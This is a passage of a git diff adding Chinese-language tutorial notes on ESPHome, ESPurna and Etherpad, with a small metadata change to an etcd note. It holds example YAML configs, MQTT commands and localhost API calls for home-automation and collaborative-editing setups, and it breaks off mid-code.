+captive_portal:
+
+logger:
+
+api:
+  encryption:
+    key: !secret api_encryption_key
+
+ota:
+  - platform: esphome
+    password: !secret ota_password
+
+sensor:
+  - platform: dht
+    pin: GPIO4
+    model: DHT22
+    temperature:
+      name: "阳台温度"
+      unit_of_measurement: "°C"
+    humidity:
+      name: "阳台湿度"
+      unit_of_measurement: "%"
+    update_interval: 60s
+```
+
+配套 `secrets.yaml`（与 YAML 同目录，**不要提交到公开仓库**）：
+
+```yaml
+wifi_ssid: "你的WiFi名"
+wifi_password: "你的WiFi密码"
+ap_password: "fallback123"
+api_encryption_key: "从 esphome wizard 生成的 base64 密钥"
+ota_password: "ota123"
+```
+
+**读这段配置时看什么：**
+
+- `esphome.name` → mDNS 主机名 `porch-sensor.local`。
+- `wifi.ap` + `captive_portal` → 连不上家 Wi-Fi 时板子开热点，手机可配网。
+- `sensor.platform: dht` 一行声明，自动生成两个 HA 实体。
+- `update_interval` 控制采样频率，平衡精度与功耗。
+
+编译上传：
+
+```bash
+esphome run porch-sensor.yaml
+```
+
+---
+
+## 代码示例二：GPIO 开关 + 门窗磁 + 简单 Lambda 逻辑
+
+第二份示例展示 **执行器 + 输入 + 轻量逻辑**：GPIO 控制除湿机；窗口磁簧触发时，在日志里标记并可配合 HA 自动化关开关。
+
+```yaml
+esphome:
+  name: balcony-controller
+  friendly_name: 阳台控制器
+
+esp8266:
+  board: nodemcuv2
+
+wifi:
+  ssid: !secret wifi_ssid
+  password: !secret wifi_password
+
+logger:
+  level: INFO
+
+api:
+  encryption:
+    key: !secret api_encryption_key
+
+ota:
+
+switch:
+  - platform: gpio
+    name: "阳台除湿机"
+    pin: GPIO5
+    id: dehumidifier
+    restore_mode: RESTORE_DEFAULT_OFF
+
+binary_sensor:
+  - platform: gpio
+    name: "阳台窗户"
+    pin:
+      number: GPIO0
+      mode:
+        input: true
+        pullup: true
+      inverted: true
+    on_press:
+      - logger.log: "窗户打开"
+      - switch.turn_off: dehumidifier
+    on_release:
+      - logger.log: "窗户关闭"
+
+sensor:
+  - platform: template
+    name: "除湿机状态摘要"
+    lambda: |-
+      if (id(dehumidifier).state) {
+        return {"运行中"};
+      } else {
+        return {"已停止"};
+      }
+    update_interval: 30s
+```
+
+要点说明：
+
+- **`switch.platform: gpio`**：最常用继电器/ MOSFET 控制；`restore_mode` 决定重启后默认开还是关。
+- **`binary_sensor`**：`inverted: true` 常表示磁簧 **常闭** 接线；`pullup` 启用内部上拉。
+- **`on_press` / `on_release`**：ESPHome 内置 **自动化**，在设备端即时响应，不经过 HA 也能执行（延迟更低）。
+- **`template` + `!lambda`**：返回字符串供 HA 显示；复杂场景可返回数值参与本地逻辑。
+
+在 Home Assistant 里可再写一条自动化：「`binary_sensor.阳台窗户` 打开 → 通知手机」，与设备端 `turn_off` **叠加**，形成云边协同。
+
+---
+
+## 常用 CLI 命令速查
+
+| 命令 | 用途 |
+| --- | --- |
+| `esphome wizard foo.yaml` | 交互式生成首份配置 |
+| `esphome config foo.yaml` | 仅校验，不编译 |
+| `esphome compile foo.yaml` | 编译固件到 `.esphome/build/` |
+| `esphome upload foo.yaml` | OTA / USB 上传 |
+| `esphome run foo.yaml` | 校验 + 编译 + 上传 + 日志 |
+| `esphome logs foo.yaml` | 查看设备输出（含 Wi-Fi IP） |
+| `esphome clean foo.yaml` | 清理构建缓存 |
+
+Docker 用户把当前目录挂载为 `/config`，命令形如：
+
+```bash
+docker run --rm -v "${PWD}":/config -it ghcr.io/esphome/esphome run porch-sensor.yaml
+```
+
+---
+
+## 调试与排错清单
+
+| 现象 | 常见原因 | 建议 |
+| --- | --- | --- |
+| 编译报 YAML 缩进错误 | 混用 Tab、列表 `-` 不对齐 | 用 2 空格；IDE 开 YAML 插件 |
+| 上传失败 | USB 驱动、端口占用、供电不足 | 换线、换口；5V 稳定电源 |
+| 连不上 Wi-Fi | 2.4G 频段、密码错误、信号弱 | ESP 多数 **不支持 5G-only** 路由 |
+| HA 发现不了设备 | mDNS 被隔离（访客网络） | 手动填 IP；保证 HA 与 ESP 同网段 |
+| API 连接失败 | 加密密钥不一致 | 核对 `api.encryption.key` 与 HA 集成里 PSK |
+| 随机重启 | 电源纹波、看门狗、堆栈 | 加大电容；查 `logs` 里 Guru Meditation |
+| 传感器读数 NaN | 接线错、上拉缺失、GPIO 冲突 | 对照板型引脚图；I2C 加 4.7k 上拉 |
+| OTA 反复失败 | 固件体积过大、Wi-Fi 不稳定 | USB 刷一次；靠近路由器 |
+
+---
+
+## 和相邻方案怎么选
+
+| 方案 | 特点 | 何时考虑 |
+| --- | --- | --- |
+| **ESPHome + HA** | YAML、OTA、Native API、生态最大 | 已用或计划用 Home Assistant |
+| **Tasmota** | 刷机快、MQTT 成熟、模板多 | 重度 MQTT、不用 HA Native API |
+| **Arduino 自写** | 自由度最高 | 算法重、量产定制、ESPHome 无组件 |
+| **Zigbee/Z-Wave 成品** | 免刷机、Mesh | 不想维护固件，接受更高单价 |
+
+若你的目标是 **「几块 ESP 板子 + 本地 homeassistant + 长期 OTA」**，ESPHome 通常是阻力最小的路径。
+
+---
+
+## 学习路径建议（零基础）
+
+1. **硬件**：先买 ESP32 DevKit + USB 线；加一个 DHT22 或继电器模块练手。
+2. **软件**：HA 用户直接装 Device Builder；否则 `pip install esphome` + `wizard`。
+3. **第一份 YAML**：复制本文示例一，改 `name` 和引脚，跑通 `esphome run`。
+4. **对接 HA**：确认实体出现；用仪表盘加一个温湿度卡片。
+5. **加执行器**：示例二开关 + 磁簧；在 HA 写一条简单自动化。
+6. **读官方组件页**：需要什么传感器，就搜 [esphome.io/components](https://esphome.io/components/) 复制官方片段。
+7. **工程化**：`secrets.yaml`、Git 管理配置、命名规范（`room-device-function`）。
+
+---
+
+## 延伸阅读
+
+- 官方文档：[Getting Started with ESPHome](https://esphome.io/guides/getting_started_hassio.html)
+- YAML 语法与 `!include`：[YAML Configuration](https://esphome.io/guides/yaml.html)
+- Home Assistant 集成说明：[ESPHome Integration](https://www.home-assistant.io/integrations/esphome/)
+- 同生态中枢笔记：[[home-assistant]]、[[openhab]]
+- 预配置项目灵感：[devices.esphome.io](https://devices.esphome.io/)
+
+---
+
+## 小结
+
+ESPHome 把「写固件」变成「写配置」：YAML 描述硬件与行为，工具链生成 C++ 并 OTA 维护，Native API 让 [[home-assistant]] 即插即用。零基础只需记住 **一份 YAML、一次 USB、以后全 OTA**；进阶再学 `packages`、lambda 与多节点命名规范。对于想亲手做传感器、又不深陷嵌入式细节的人来说，它相当于 **智能家居领域的 Dockerfile + 编译器**——声明要什么，系统帮你造出来。
diff --git a/src/content/docs/projects/espurna.md b/src/content/docs/projects/espurna.md
new file mode 100644
index 000000000..390395b56
--- /dev/null
+++ b/src/content/docs/projects/espurna.md
@@ -0,0 +1,320 @@
+---
+title: ESPurna — 给 Sonoff 等 ESP8266 插座换「本地大脑」的固件
+来源: 'https://github.com/xoseperez/espurna'
+日期: '2026-06-13'
+分类: 操作系统
+子分类: 嵌入式
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 日常类比：给廉价智能插座换一套「本地操作系统」
+
+你花几十块买了一个 Wi-Fi 插座（Sonoff Basic、Shelly、各种「智能通断器」）。出厂固件通常长这样：
+
+- 必须连厂商云，断网或停服就失控；
+- App 里功能有限，很难和自家 NAS、[[home-assistant]] 深度联动；
+- 想改 MQTT 主题、加传感器、做「有人经过才开灯」——官方固件基本不给你机会。
+
+**ESPurna**（加泰罗尼亚语「火花」）做的事，相当于给这块 ESP8266/ESP8285 芯片 **刷一套开源的本地操作系统**：
+
+| 现实世界 | ESPurna 对应 |
+| --- | --- |
+| 插座里的原厂程序 | 厂商闭源固件 |
+| 自己装 Linux 的迷你主机 | 刷入 ESPurna 定制固件 |
+| 物业前台登记 + 对讲机 | Web UI 配置 + MQTT 上报/订阅 |
+| 电工改接线、加传感器 | 支持 DHT、功率计、RF Bridge 等模块 |
+| 遥控器上的「夜灯模式」宏 | 设备内 RPN Rules 自动化 |
+
+刷完以后，设备连上你家 Wi-Fi 和 [[mosquitto]] 之类的 MQTT Broker，**不经过云端** 就能被 [[home-assistant]]、Node-RED、Domoticz 控制。作者 Xose Pérez（[@xoseperez](https://github.com/xoseperez)）从 2016 年起维护，仓库 [xoseperez/espurna](https://github.com/xoseperez/espurna) 约 3k Stars，GPL-3.0 开源。
+
+和 [[esphome]] 的 YAML 编译路线不同，ESPurna 是 **C++ 单体固件 + Web 配置**：为 Sonoff、Shelly、MagicHome 等上百种硬件预编译 profile，刷入后在浏览器里填 Wi-Fi、MQTT、Home Assistant Discovery 即可。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 原厂固件 | ESPurna 的回应 |
+| --- | --- | --- |
+| 厂商锁定 | 依赖云端 App | 本地 Web UI + MQTT/REST，数据留在局域网 |
+|  homeassistant 对接 | 无标准协议 | 原生 MQTT，支持 HA MQTT Discovery |
+| 硬件白名单 | 只认自家型号 | 大量 Sonoff / Shelly / 第三方 preset |
+| 功率/环境感知 | 高端型号才有 | HLW8012、CSE7766、DHT、BME280 等驱动内置 |
+| 简单自动化 | 只能在中枢写规则 | **RPN Rules** 可在设备端执行（断网也能跑部分逻辑） |
+| 维护更新 | 厂商 OTA 不可控 | Web OTA、NoFUSS 自动更新、PlatformIO 自编译 |
+
+核心问题：**如何把市面上大量 ESP8266 智能开关/灯控，变成可本地配置、MQTT 友好、可长期维护的智能家居节点？**
+
+---
+
+## ESPurna 在智能家居栈中的位置
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│  Home Assistant / Node-RED / Domoticz — 编排与仪表盘         │
+│         ▲ MQTT（状态 topic / 命令 topic …/set）              │
+├─────────┴───────────────────────────────────────────────────┤
+│  Mosquitto 等 MQTT Broker — 消息总线                         │
+├─────────┴───────────────────────────────────────────────────┤
+│  ESPurna 节点（每块板子一份预编译或自编译固件）               │
+│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐       │
+│  │ Sonoff Basic │  │ Sonoff POW   │  │ MagicHome RGB│       │
+│  │ 继电器 ×1    │  │ 功率+继电器  │  │ PWM 灯带     │       │
+│  └──────┬───────┘  └──────┬───────┘  └──────┬───────┘       │
+│         │ GPIO / I2C / 1-Wire / HLW8012 …                   │
+└─────────┴───────────────────────────────────────────────────┘
+
+侧路能力：
+  Web UI（AsyncWebServer）— 配置、开关测试、备份/恢复、OTA
+  REST API — GET/PUT 继电器、读传感器
+  Telnet / Serial Terminal — 调试与 `set`/`get` 命令
+  mDNS — `hostname.local` 发现
+```
+
+ESPurna 专注 **边缘固件**；中枢负责场景。它与 [[esphome]] 是同类竞品/互补方案：ESPHome 偏「配置即代码」；ESPurna 偏「刷现成 bin + Web 点选」。
+
+---
+
+## 核心概念
+
+### 1. 硬件 Profile（构建预设）
+
+ESPurna 不为「裸 ESP8266」只提供一份通用固件，而是为 **具体商品** 维护 build flag 预设（如 `ITEAD_SONOFF_BASIC`、`SHELLY1`、`MAGICHOME_LED_CONTROLLER_2_0`）。每个 profile 固定了：
+
+- 继电器/LED 引脚映射；
+- 板载按钮、状态 LED 行为；
+- 可选传感器芯片（如 Sonoff POW 的 HLW8012）。
+
+**零基础建议**：先确认你的硬件型号在 [Supported hardware](https://github.com/xoseperez/espurna#supported-hardware) 列表里，再下载对应的 **预编译 bin** 或 `pio run -e <ENV>` 编译。
+
+### 2. Web UI 与配置持久化
+
+首次启动（或长按恢复出厂）会进入 **AP 模式**（也可双击主按钮进入）。连上设备热点后，浏览器打开设备 IP 或 `http://<hostname>.local/`：
+
+- **Wi-Fi**：最多 5 组 SSID，可扫描选最强信号；
+- **MQTT**：Broker 地址、端口、用户名、Root Topic、QoS、Retain；
+- **Home Assistant**：`haEnabled` 开启 MQTT Discovery；
+- **Admin**：HTTP 基本认证、API Key、OTA 开关。
+
+配置保存在 EEPROM/Flash 分区。注意：大版本 OTA 偶尔会因分区布局变化需要 **USB 线刷**（见仓库 Notice 2017-07-24）。
+
+### 3. MQTT 主题模型：状态 vs 命令
+
+自 v1.9.0 起，**命令 topic 统一带 `/set` 后缀**：
+
+| 类型 | Topic 模式 | 示例 payload |
+| --- | --- | --- |
+| 状态（设备发布） | `{root}/relay/0` | `0` / `1` |
+| 命令（设备订阅） | `{root}/relay/0/set` | `on` / `off` / `toggle` 或 `0`/`1`/`2` |
+
+`{root}` 默认为 `{hostname}`，可在 Web UI 的 `mqttTopic` 改成如 `home/living/light`。
+
+**与 Home Assistant 对接时**：Wiki 明确建议使用标准 MQTT 平台，**关闭 Web UI 里 MQTT 的 JSON payload 模式**——每条消息一个 topic，而不是整包 JSON。
+
+### 4. 继电器语义：脉冲、同步、分组
+
+- **Pulse mode**：收到 ON 后自动定时 OFF（门铃、门禁脉冲）；
+- **Boot status**：上电默认 ON/OFF/保持/翻转；
+- **mqttGroup**：跨设备同步——多台 ESPurna 订阅同一 group topic，一台切换则其余跟随；
+- **Interlock**：多路继电器互斥（只允许一路 ON）。
+
+### 5. RPN Rules（设备端自动化）
+
+RPN = **逆波兰表示法**（后缀表达式）。规则由「操作数 + 运算符」组成，在芯片上直接执行，无需中枢在线。
+
+典型能力：读 `$motion`（MQTT 变量）、`now hour`、比较、`relay` 写继电器。适合「夜间有人经过才开灯」这类 **低延迟、本地** 逻辑。
+
+### 6. 按钮手势
+
+主按钮（各 profile 可能不同）：
+
+- **单击**：切换继电器；
+- **双击**：进入 AP 配置模式；
+- **长按 ~1s**：重启；
+- **超长按 ~10s**：恢复出厂。
+
+---
+
+## 代码示例一：用 MQTT 控制 Sonoff 继电器
+
+假设 Web UI 里把 Root Topic 设为 `bedroom/heater`，Broker 为 `192.168.1.10:1883`。
+
+**订阅状态**（Home Assistant、mosquitto_sub 或 Node-RED 监听）：
+
+```bash
+# 监听第 0 路继电器状态
+mosquitto_sub -h 192.168.1.10 -t 'bedroom/heater/relay/0' -v
+# 输出示例：bedroom/heater/relay/0 1
+```
+
+**发送命令**：
+
+```bash
+# 打开
+mosquitto_pub -h 192.168.1.10 -t 'bedroom/heater/relay/0/set' -m 'on'
+
+# 关闭
+mosquitto_pub -h 192.168.1.10 -t 'bedroom/heater/relay/0/set' -m 'off'
+
+# 翻转
+mosquitto_pub -h 192.168.1.10 -t 'bedroom/heater/relay/0/set' -m 'toggle'
+```
+
+**Node-RED Function 节点**（构造相同语义）：
+
+```javascript
+// msg.topic 发往 inject 或 mqtt out
+const root = 'bedroom/heater';
+const action = 'on'; // 'off' | 'toggle'
+return {
+  topic: `${root}/relay/0/set`,
+  payload: action
+};
+```
+
+带功率计的 Sonoff POW 还会发布 `energy/0`、`power/0`、`voltage/0` 等状态 topic，可在 HA 里映射为 `sensor` 实体。
+
+---
+
+## 代码示例二：Home Assistant 手动 MQTT 开关
+
+若暂时不用 Discovery，可在 `configuration.yaml`（或 UI 等价配置）里声明 MQTT Switch：
+
+```yaml
+mqtt:
+  broker: 192.168.1.10
+  # username: mqtt_user
+  # password: !secret mqtt_password
+
+switch:
+  - platform: mqtt
+    name: "Bedroom Heater"
+    state_topic: "bedroom/heater/relay/0"
+    command_topic: "bedroom/heater/relay/0/set"
+    payload_on: "1"
+    payload_off: "0"
+    state_on: "1"
+    state_off: "0"
+    optimistic: false
+    qos: 1
+    retain: true
+```
+
+**更省事的做法**：在 ESPurna Web UI → MQTT → Home Assistant 区域开启 **MQTT Discovery**（`haEnabled: 1`），并在 HA 侧启用：
+
+```yaml
+mqtt:
+  discovery: true
+  discovery_prefix: homeassistant
+```
+
+设备上线后会向 `homeassistant/switch/<id>/config` 等 topic 发送 retained 配置，HA 自动创建设实体。Wiki 建议 Discovery 配置消息也 **Retain**，避免 HA 重启后「失忆」。
+
+---
+
+## 代码示例三：RPN Rules — 夜间人体感应开灯
+
+场景：ESPurna 控制卧室灯继电器；人体传感器通过 MQTT 发布到 `bedroom/motion`，payload `1` 表示有人。
+
+**在 Telnet 或 Serial Terminal 中配置**（Web UI 也有 RPN 页面，视版本而定）：
+
+```text
+# 1. 把 MQTT topic 绑定到变量名 motion
+set rpnMqttTopic0 bedroom/motion
+set rpnMqttName0 motion
+
+# 2. 规则：当前小时在 22–8 点之间 且 有 motion → 关继电器(0=off) 或开灯(1=on)
+#    表达式：now hour 8 23 cmp3 abs $motion and 1 relay
+#    含义：hour 是否落在 [8,23] 外（夜间） ∧ motion → relay 0 设为 1
+set rpnRule0 now hour 8 23 cmp3 abs $motion and 1 relay
+
+# 3. 测试子表达式
+RPN.TEST "now hour 8 23 cmp3 abs"
+
+# 4. 查看变量与定时器
+RPN.VARS
+RPN.RUNNERS
+```
+
+解释 `cmp3`：三值比较，配合 `abs` 可表达「小时在 8–23 之外（即夜间）」。实际阈值请按自家作息改数字。
+
+---
+
+## 从零开始的推荐路径
+
+### 路径 A：预编译 bin（最快）
+
+1. 确认硬件型号 → 在 [Releases](https://github.com/xoseperez/espurna/releases) 找对应 **Snapshot** 或稳定版 bin；
+2. USB + `esptool` 或 Sonoff  UART 刷入（Sonoff 需拆壳焊针或买编程座）；
+3. 手机/电脑连设备 AP → Web UI 配 Wi-Fi；
+4. 填写 MQTT → 测试 `mosquitto_sub` / HA Discovery；
+5. 改默认 Admin 密码，启用 HTTP Auth。
+
+### 路径 B：PlatformIO 自编译（可定制）
+
+仓库 README 推荐 **PlatformIO**（VS Code 插件或 CLI）。克隆仓库后：
+
+```bash
+git clone https://github.com/xoseperez/espurna.git
+cd espurna/code
+# 列出所有硬件环境
+pio run --list-targets
+# 编译 Sonoff Basic 预设
+pio run -e espurna-itead-sonoff-basic
+# USB 上传
+pio run -e espurna-itead-sonoff-basic -t upload
+```
+
+可在 `platformio.ini` 或 `custom.h` 里关闭不需要的模块（如 `MQTT_SUPPORT`、`TERMINAL_SUPPORT`）以节省 Flash——ESP8266 只有 1MB/4MB 闪存，功能开太多会 **编译失败或运行时 OOM**。
+
+---
+
+## 与 ESPHome、Tasmota 怎么选
+
+| 维度 | ESPurna | [[esphome]] | Tasmota |
+| --- | --- | --- | --- |
+| 配置方式 | Web UI + Terminal | YAML → 编译 | Web UI + Console |
+| 主要芯片 | ESP8266/ESP8285 | ESP32/8266/… | ESP8266/ESP32/… |
+| HA 集成 | MQTT Discovery | Native API（也可 MQTT） | MQTT Discovery |
+| 设备端规则 | RPN Rules | 有限（lambda/模板） | Rules / Berry（新） |
+| 适合谁 | 已有 Sonoff 等预设、爱 MQTT | 愿意维护 YAML、深度 HA 用户 | 社区最大、Topic 文档多 |
+
+三者并非互斥：同一家庭可以 **ESPurna 管老 Sonoff，ESPHome 管新 ESP32 传感器**。
+
+---
+
+## 常见问题与踩坑
+
+1. **命令发了没反应**：检查是否发到 `…/set` topic；payload 是否为 `on`/`1` 而非 JSON 包（除非刻意启用 JSON）。
+2. **HA 不出现实体**：Discovery 前缀要一致；Broker 上 retain 的 config 是否被清空；ESPurna 侧 `haEnabled` 是否打开。
+3. **OTA 后配置丢失**：跨大版本 OTA 可能踩分区变更，备 USB 线刷。
+4. **SSL MQTT**：常规 build 默认关闭 TLS（占内存），需要特编译；内网明文 MQTT + VLAN 隔离是常见折中。
+5. **内存不足**：8266 上同时开 Web + MQTT + 多传感器 + SSL 易崩溃；用 **Unstable system check** 会自动退回 AP+OTA 安全模式。
+
+---
+
+## 和本仓库其它笔记的关系
+
+- 中枢编排：[[home-assistant]]
+- 消息总线：[[mosquitto]]
+- 同类 ESP 固件路线：[[esphome]]
+- 若用 RF Bridge 433MHz：ESPurna Wiki 有 Sonoff RF Bridge + Portisch 自定义 EFM8 固件说明
+
+---
+
+## 延伸阅读
+
+| 资源 | 说明 |
+| --- | --- |
+| [ESPurna Wiki](https://github.com/xoseperez/espurna/wiki) | MQTT、Terminal、RPN、各硬件页 |
+| [Home Assistant 集成](https://github.com/xoseperez/espurna/wiki/HomeAssistant) | Discovery 与手动 YAML |
+| [MQTT 主题参考](https://github.com/xoseperez/espurna/wiki/MQTT) | relay/light/sensor topic 一览 |
+| [RPN Rules](https://github.com/xoseperez/espurna/wiki/RPN-Rules) | 运算符与变量完整列表 |
+| [PlatformIO 构建](https://github.com/xoseperez/espurna/wiki/Using-PlatformIO-CLI) | 自编译与 custom.h |
+| 作者博客 [tinkerman.cat](https://tinkerman.cat/) | Sonoff 改装系列原文 |
+
+---
+
+## 小结
+
+ESPurna 把「十块钱 Wi-Fi 插座」变成 **听 MQTT 指挥、可 Web 配置、可选设备端自动化** 的节点。零基础最短路径是：**认型号 → 刷对应 bin → Web 配 Wi-Fi/MQTT → HA Discovery**。掌握 `{root}/relay/0` 与 `{root}/relay/0/set` 的读写分工，你就已经能驱动家里大部分 ESPurna 继电器；需要夜间本地逻辑时，再进阶 RPN Rules 与 Telnet 调试。
diff --git a/src/content/docs/projects/etcd.md b/src/content/docs/projects/etcd.md
index 99238ae6b..c1b32ce16 100644
--- a/src/content/docs/projects/etcd.md
+++ b/src/content/docs/projects/etcd.md
@@ -2,7 +2,7 @@
 title: etcd — 分布式键值数据库
 来源: https://github.com/etcd-io/etcd
 日期: 2026-05-29
-子分类: 存储与查询
+子分类: cloud-native
 分类: 数据库
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/etherpad-lite.md b/src/content/docs/projects/etherpad-lite.md
new file mode 100644
index 000000000..483bcbea9
--- /dev/null
+++ b/src/content/docs/projects/etherpad-lite.md
@@ -0,0 +1,334 @@
+---
+title: Etherpad — 经典协作文本编辑器
+来源: https://github.com/ether/etherpad-lite
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：会议室里的「共享记事本」
+
+想象你和三位同事在白板前开头脑风暴：有人打字、有人改标题、有人删错字——**所有人盯着同一块屏幕**，不用等 A 改完发 Word、B 再合并第 9 版。
+
+**Etherpad Lite**（[ether/etherpad-lite](https://github.com/ether/etherpad-lite)）就是浏览器里的 **共享记事本**：
+
+- **Pad（便笺）** 是一页可无限滚动的纯文本/富文本——每个 URL 对应一个 pad，打开就能写。
+- **实时同步** 像 Google Docs 的早期形态：你每敲一个键，其他人的屏幕几毫秒内跟上；每人光标旁还有 **彩色作者标识**（谁在哪一行改的一目了然）。
+- **Changeset（变更集）** 是底层「编辑指令」——不是整页覆盖，而是「在第 42 个字符后插入 hello」这类增量操作，服务器用 **Operational Transformation（OT）** 合并多人同时提交的 edits，保证最终文本一致。
+- **自托管** 意味着数据在你自己的 Node.js 进程 + 数据库里，而不是某个 SaaS 的黑盒；Wiki 文档称可 **扩展到数千并发编辑者**（[scale.etherpad.org](http://scale.etherpad.org/)）。
+
+与 HedgeDoc（Markdown + 幻灯片）或 Overleaf（LaTeX 编译）不同，Etherpad 的初心是 **极简、实时、可嵌入**：一条 `/p/xxx` 链接、一个 iframe，就能给任意网站挂上协作编辑。官方插件目录见 [static.etherpad.org](https://static.etherpad.org/)；文档 [docs.etherpad.org](https://docs.etherpad.org/)。
+
+零基础路径：**Docker 起一个实例 → 浏览器打开默认 pad → 开隐身窗口模拟第二人 → 试 HTTP API 创建 pad → 装一个 ep_ 插件**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：协作靠邮件/IM 传文档，版本爆炸
+
+站会记录、临时方案、活动文案——用 Word 或飞书可以，但 **内网实验室、开源社区、不想把草稿交给第三方** 的场景需要自建。Etherpad 给 **一条 URL + 零客户端安装**，打开即写、写完即分享。
+
+### 痛点 2：只想嵌入「一块可编辑区域」，不想重做编辑器
+
+Etherpad 从设计之初就支持 **iframe 嵌入** 和 **HTTP API**：你的门户（WordPress、LMS、内部 OA）负责登录，Etherpad 负责 **pad 生命周期 + 实时 OT**。权限通过 **Session / Group / Author** 映射，而不是在 Etherpad 里再造一套用户系统。
+
+### 痛点 3：功能需求各异，核心却要轻量
+
+默认安装很「瘦」——粗体、列表、作者颜色、侧边 chat。需要 Markdown 导出、标题、评论页、WebRTC 语音？通过 **`ep_` 前缀插件** 按需加装，不必 fork 主仓库。
+
+### 痛点 4：数据主权与导出
+
+支持 **HTML / Etherpad / 纯文本** 等导出路径，插件可扩展 `getLineHTMLForExport` 等 hook。对比闭源 SaaS，**Full Data Export** 能力在 Wiki 中有专门说明，适合合规归档。
+
+---
+
+## 核心概念拆解
+
+### 1. Pad：协作文档的原子单位
+
+每个 pad 有唯一 **padID**：
+
+| 类型 | padID 格式 | 说明 |
+|------|------------|------|
+| 公开 pad | `my-meeting-notes` | 任意访客可创建（除非 `editOnly`） |
+| Group pad | `g.xxxxx$padName` | 属于某个 group，常配合 Session 控权 |
+
+内容在服务端存为 **一串 revision + changeset**，而不是每次全量快照。读历史 revision 可还原任意时刻（API：`getRevisionChangeset`）。
+
+### 2. Author / Group / Session：把「你的用户系统」接到 Etherpad
+
+Etherpad **不做完整账号体系**（可配 admin 密码、OpenID Connect 插件），推荐模式是：
+
+1. **Author**：`createAuthorIfNotExistsFor(authorMapper)` 把业务侧 user id 映射为 `a.xxxxx`
+2. **Group**：`createGroupIfNotExistsFor(groupMapper)` 把「项目 / 课程 / 租户」映射为 `g.xxxxx`
+3. **Session**：`createSession(groupID, authorID, validUntil)` 发 cookie，浏览器才能编辑该 group 下的 pads
+
+类比：Author 是「员工工牌」，Group 是「部门」，Session 是「今日门禁卡」。
+
+### 3. Operational Transformation 与 Changeset
+
+多人同时编辑时，客户端把本地操作编码为 **changeset 字符串**（如 `Z:1>6b|5+6b$Welcome...`），经 WebSocket 发到服务器；服务器 **变换（transform）** 并发 changeset 后追加为新 revision。你不需要手写 OT，但要理解：**冲突合并在服务端完成**，客户端只负责展示合并后的 Ace Editor 视图。
+
+### 4. 插件框架：ep.json + Hooks
+
+插件名惯例 **`ep_`** 开头，在 `ep.json` 里注册：
+
+- **Server hooks**：`expressCreateServer`、`padCreate`、`authorize`、`authenticate`…
+- **Client hooks**：`postAceInit`、`aceEditEvent`、`padInitToolbar`…
+
+安装：`pnpm run plugins i ep_markdown`（在 Etherpad 根目录）。详见 [docs.etherpad.org/plugins](https://docs.etherpad.org/plugins.html)。
+
+### 5. HTTP API 与 OpenAPI
+
+REST 形态：`/api/{version}/{functionName}`，响应统一 `{ code, message, data }`。OpenAPI 定义在 `/api/openapi.json`。自 **1.8** 起大文本（如 `setText`）应用 **POST** 传 body，避免 GET 头 8KB 限制。
+
+认证：OAuth Bearer token（`settings.json` 的 `sso` 段配置 client）。
+
+---
+
+## 快速上手：Docker 一键运行
+
+官方镜像 `etherpad/etherpad:latest`，配合 PostgreSQL 持久化：
+
+```yaml
+# docker-compose.yml 片段
+services:
+  app:
+    image: etherpad/etherpad:latest
+    ports:
+      - "9001:9001"
+    environment:
+      TITLE: "My Etherpad"
+      DEFAULT_PAD_TEXT: "Welcome!\n\nStart typing..."
+      DB_TYPE: postgres
+      DB_HOST: postgres
+      DB_PORT: 5432
+      DB_NAME: etherpad
+      DB_USER: admin
+      DB_PASS: admin
+      ADMIN_PASSWORD: changeme
+    depends_on:
+      - postgres
+  postgres:
+    image: postgres:15
+    environment:
+      POSTGRES_USER: admin
+      POSTGRES_PASSWORD: admin
+      POSTGRES_DB: etherpad
+```
+
+启动后访问 `http://localhost:9001`——默认 pad 文案会解释「输入即同步」。环境变量覆盖规则见仓库 `settings.json.docker`：几乎每项都可 `${ENV_VAR:default}` 注入，无需重建镜像即可调参。
+
+---
+
+## 代码示例 1：HTTP API — 门户为用户创建 Group Pad
+
+场景：内部 Wiki 用户 id=`7`、显示名 Michael，要为其创建私有 pad 并 iframe 嵌入。
+
+**步骤 1 — 映射 Author**
+
+```bash
+curl -s "http://localhost:9001/api/1/createAuthorIfNotExistsFor" \
+  --get \
+  --data-urlencode "name=Michael" \
+  --data-urlencode "authorMapper=7" \
+  -H "Authorization: Bearer YOUR_API_TOKEN"
+# => {"code":0,"message":"ok","data":{"authorID":"a.s8oes9dhwrvt0zif"}}
+```
+
+**步骤 2 — 映射 Group 并创建 pad**
+
+```bash
+curl -s "http://localhost:9001/api/1/createGroupIfNotExistsFor" \
+  --get --data-urlencode "groupMapper=7" \
+  -H "Authorization: Bearer YOUR_API_TOKEN"
+
+curl -s "http://localhost:9001/api/1/createGroupPad" \
+  --get \
+  --data-urlencode "groupID=g.s8oes9dhwrvt0zif" \
+  --data-urlencode "padName=weekly-standup" \
+  --data-urlencode "text=## Standup\n\n- Yesterday:\n- Today:\n" \
+  -H "Authorization: Bearer YOUR_API_TOKEN"
+```
+
+**步骤 3 — 签发 Session（cookie）**
+
+```bash
+VALID_UNTIL=$(($(date +%s) + 86400))  # 24 小时后过期
+curl -s "http://localhost:9001/api/1/createSession" \
+  --get \
+  --data-urlencode "groupID=g.s8oes9dhwrvt0zif" \
+  --data-urlencode "authorID=a.s8oes9dhwrvt0zif" \
+  --data-urlencode "validUntil=$VALID_UNTIL" \
+  -H "Authorization: Bearer YOUR_API_TOKEN"
+# => {"code":0,"data":{"sessionID":"s.xxxxx"}}
+```
+
+门户把 `sessionID` 写入浏览器 cookie，再嵌入：
+
+```html
+<iframe
+  src="http://localhost:9001/p/g.s8oes9dhwrvt0zif$weekly-standup"
+  width="100%"
+  height="600"
+  frameborder="0"
+></iframe>
+```
+
+用户登出时调用 `deleteSession(sessionID)` 吊销门禁卡。
+
+---
+
+## 代码示例 2：Node.js 批量写入 pad 内容
+
+长文档应走 **POST**（>8KB 时 GET 会踩 Node 请求头上限）：
+
+```javascript
+// scripts/seed-pad.mjs — 用 API 初始化 pad 正文
+const BASE = 'http://localhost:9001';
+const TOKEN = process.env.EP_API_TOKEN;
+const padID = 'onboarding-checklist';
+
+const text = `# 新人 Onboarding
+
+1. 申请 VPN
+2. 阅读安全规范
+3. 加入 #general 频道
+`.repeat(20); // 故意拉长，演示 POST
+
+const res = await fetch(`${BASE}/api/1/setText`, {
